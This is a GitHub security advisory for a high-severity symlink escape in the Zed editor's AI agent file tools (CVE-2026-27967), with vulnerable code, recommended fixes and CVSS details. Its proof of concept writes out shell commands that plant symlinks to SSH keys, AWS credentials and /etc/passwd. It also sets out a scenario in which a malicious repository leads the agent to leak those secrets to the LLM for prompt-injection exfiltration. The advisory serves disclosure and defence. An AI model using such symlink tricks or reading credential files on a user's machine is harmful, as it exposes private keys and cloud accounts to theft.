Skip to content

Symlink Escape in Agent File Tools

High
swannysec published GHSA-786m-x2vc-5235 Feb 25, 2026

Package

No package listed

Affected versions

<0.225.9

Patched versions

>=v0.225.9

Description

Summary

A symlink escape vulnerability in Zed's Agent file tools (read_file, edit_file) allows reading and writing files outside the project directory when a project contains symbolic links pointing to external paths. This bypasses the intended workspace boundary and privacy protections (file_scan_exclusions, private_files), potentially leaking sensitive user data to the LLM.

Severity: High
CWE: CWE-59 (Improper Link Resolution Before File Access)

Environment Tested

  • Zed Version: 0.219.5
  • OS: macOS
  • Workspace Mode: Restricted Mode (untrusted project)
  • Result: Vulnerability works even with restricted mode enabled

Note: Opening the project in "Restricted Mode" does NOT prevent the symlink escape. The Agent can still read files outside the project boundary via symlinks.


Details

The Agent tools validate file paths using worktree-relative paths and exclusion patterns, but they never resolve symlinks to check if the target is outside the project.

Vulnerable Code Path

  1. ReadFileTool::run (crates/agent/src/tools/read_file_tool.rs:115-155)

    • Calls find_project_path() to validate path is in project
    • Calls absolute_path() to get the file location
    • Checks is_path_excluded() and is_path_private() on the logical path only
    • Reads the file content (OS follows symlink)
  2. Project::absolute_path (crates/project/src/project.rs:4571-4576)

    • Delegates to Worktree::absolutize()
  3. Worktree::absolutize (crates/worktree/src/worktree.rs:2208-2217)

    • Simply concatenates paths without canonicalization
    • Does not check if the result escapes the worktree root
// worktree.rs:2208-2217 - No symlink resolution
pub fn absolutize(&self, path: &RelPath) -> PathBuf {
    if path.file_name().is_some() {
        let mut abs_path = self.abs_path.to_string();
        for component in path.components() {
            abs_path.push_str(component);  // Just concatenates
        }
        PathBuf::from(abs_path)
    } else {
        self.abs_path.as_path().to_path_buf()
    }
}

Security Intent Already Exists

The codebase shows clear security intent:

  1. Path traversal is blocked: Test at read_file_tool.rs:801-815 explicitly blocks ../ traversal
  2. External tracking exists: The Entry.is_external field tracks symlinks that escape the worktree (worktree.rs:3377-3384)
  3. Privacy settings exist: file_scan_exclusions and private_files are checked

However, is_external is never enforced in agent tools.


PoC

Screenshot 2026-01-21 at 2 46 23 PM

Step 1: Create a malicious project

# Create project structure
mkdir -p poc-symlink/docs poc-symlink/src

# Add legitimate-looking files
echo "# Demo Project" > poc-symlink/README.md
echo "fn main() { println!(\"Hello\"); }" > poc-symlink/src/main.rs

# Create symlinks to sensitive files OUTSIDE the project
ln -s /etc/passwd poc-symlink/docs/passwd_leak.txt
ln -s /etc/hosts poc-symlink/docs/hosts_leak.txt
ln -s ~/.ssh/id_rsa poc-symlink/docs/ssh_key.txt
ln -s ~/.aws/credentials poc-symlink/docs/aws_creds.txt
ln -s ~/.gitconfig poc-symlink/docs/git_config.txt

Step 2: Verify symlinks point outside project

$ ls -la poc-symlink/docs/
total 0
lrwxr-xr-x  1 user  staff  11 Jan 21 14:29 passwd_leak.txt -> /etc/passwd
lrwxr-xr-x  1 user  staff  10 Jan 21 14:29 hosts_leak.txt -> /etc/hosts
lrwxr-xr-x  1 user  staff  25 Jan 21 14:29 ssh_key.txt -> ~/.ssh/id_rsa
lrwxr-xr-x  1 user  staff  30 Jan 21 14:29 aws_creds.txt -> ~/.aws/credentials
lrwxr-xr-x  1 user  staff  24 Jan 21 14:29 git_config.txt -> ~/.gitconfig

Step 3: Open project in Zed and use Agent

cd poc-symlink
zed .

Step 4: Ask the Agent to read the symlinked file

In the Agent chat, type:

Please read docs/passwd_leak.txt

Expected Result (Vulnerable)

The Agent returns the contents of /etc/passwd:

root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
...

Expected Result (Secure)

Error: Cannot read file - symlink points outside project boundary

Impact

Who is affected?

  • Any user who opens a project containing symlinks in Zed and uses the Agent feature
  • This includes cloning repositories from GitHub, GitLab, etc.

Attack scenario

  1. Attacker creates a malicious repository with symlinks like docs/readme.txt -> ~/.ssh/id_rsa
  2. Victim clones the repository and opens it in Zed
  3. Victim asks the Agent to "read the docs" or "summarize the project"
  4. Agent reads symlinked files, leaking sensitive data to the LLM
  5. Attacker can exfiltrate secrets via prompt injection techniques

What can be leaked?

  • SSH private keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
  • Cloud credentials (~/.aws/credentials, ~/.config/gcloud/)
  • Git credentials (~/.gitconfig, ~/.git-credentials)
  • Shell history (~/.bash_history, ~/.zsh_history)
  • System files (/etc/passwd, /etc/hosts)

Recommended Fix

The simplest fix is to check the is_external flag that is already tracked:

// In ReadFileTool::run(), after getting the entry:
if let Some(entry) = project.entry_for_path(&project_path, cx) {
    if entry.is_external {
        return Task::ready(Err(anyhow!(
            "Cannot read file: symlink points outside project boundary"
        )));
    }
}

Alternatively, canonicalize the path and verify it's still inside the worktree:

let canonical = std::fs::canonicalize(&abs_path)?;
let worktree_root = std::fs::canonicalize(worktree.abs_path())?;
if !canonical.starts_with(&worktree_root) {
    return Err(anyhow!("Path escapes project boundary"));
}

The same check should be added to:

  • EditFileTool (edit_file_tool.rs)
  • ListDirectoryTool (if exists)
  • Any other agent tool that accesses files

References

Patches

  • Patched in >=v0.225.9

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-27967

Weaknesses

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

Credits